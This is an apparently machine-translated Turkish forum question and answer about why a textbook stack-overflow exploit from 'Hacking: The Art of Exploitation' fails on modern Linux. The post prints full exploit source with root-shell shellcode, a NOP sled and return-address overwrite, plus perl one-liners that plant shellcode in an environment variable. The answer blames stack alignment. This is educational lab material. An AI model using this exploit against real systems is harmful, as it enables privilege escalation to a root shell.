Neden bu kabuk kodu yürütülmüyor?

0

Soru

Hacking: The Art of Exploitation ile çalışıyorum ve kitaptan bir ortam değişkeni aracılığıyla çalıştırmak için bilinen bir çalışma istismarı elde etmeye çalışırken ilk engelimle karşılaşıyorum. Tüm programlar ile derlenmiştir -fno-stack-protector -zexecstack -no-pie -fno-pie.

Koşma exploit_notesearch.c (çok özel bir ofset olsa da), ofseti hareket ettirerek bir kabuğun açılmasını sağlayabildim argv[1]. Bu, kitapla birlikte verilen livecd'nin yanı sıra modern işletim sistemlerinde (ASLR devre dışı bırakılmış) çalışır.

not ara.c

sömürü_araştırma.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=208;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}

Daha sonra bölümde, kabuk kodunu bir ortam değişkenine ayarlıyoruz ve akışı, önceden hazırlanmış NOP kızağının yarısına kadar KABUK kodu ortam değişkeninin ayarlandığı yığındaki yere yönlendirmeye çalışıyoruz. Bununla birlikte, bu hiçbir zaman modern işletim sistemlerinde istismarı gerçekleştirmez, ancak kitapla birlikte gelen Ubuntu 7.04 canlı cd'sinde gayet iyi çalışır. shellcode.bin kabuk kodu en üstte mi exploit_notesearch.c dosya ile çalıştırıldı echo -en ve bir dosyaya yönlendirildi.

$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled

Burada eski işletim sistemleri ile modern arasında değişen neler oluyor? Farkında olmadığım bir koruma, NOP kızağını kabuk koduna sürmekten alıkoyuyor mu?

Teşekkür ederim.

c environment-variables shellcode
2021-11-24 04:34:00
1

En iyi cevabı

0

Sorun, yığın hizalamasıydı, derleme -mpreferred-stack-boundary=2 yığını kitaba benzer şekilde hizalar.

2021-11-24 15:24:48

Diğer dillerde

Bu sayfa diğer dillerde

Русский
..................................................................................................................
Italiano
..................................................................................................................
Polski
..................................................................................................................
Română
..................................................................................................................
한국어
..................................................................................................................
हिन्दी
..................................................................................................................
Français
..................................................................................................................
Česk
..................................................................................................................
Português
..................................................................................................................
ไทย
..................................................................................................................
中文
..................................................................................................................
Español
..................................................................................................................
Slovenský
..................................................................................................................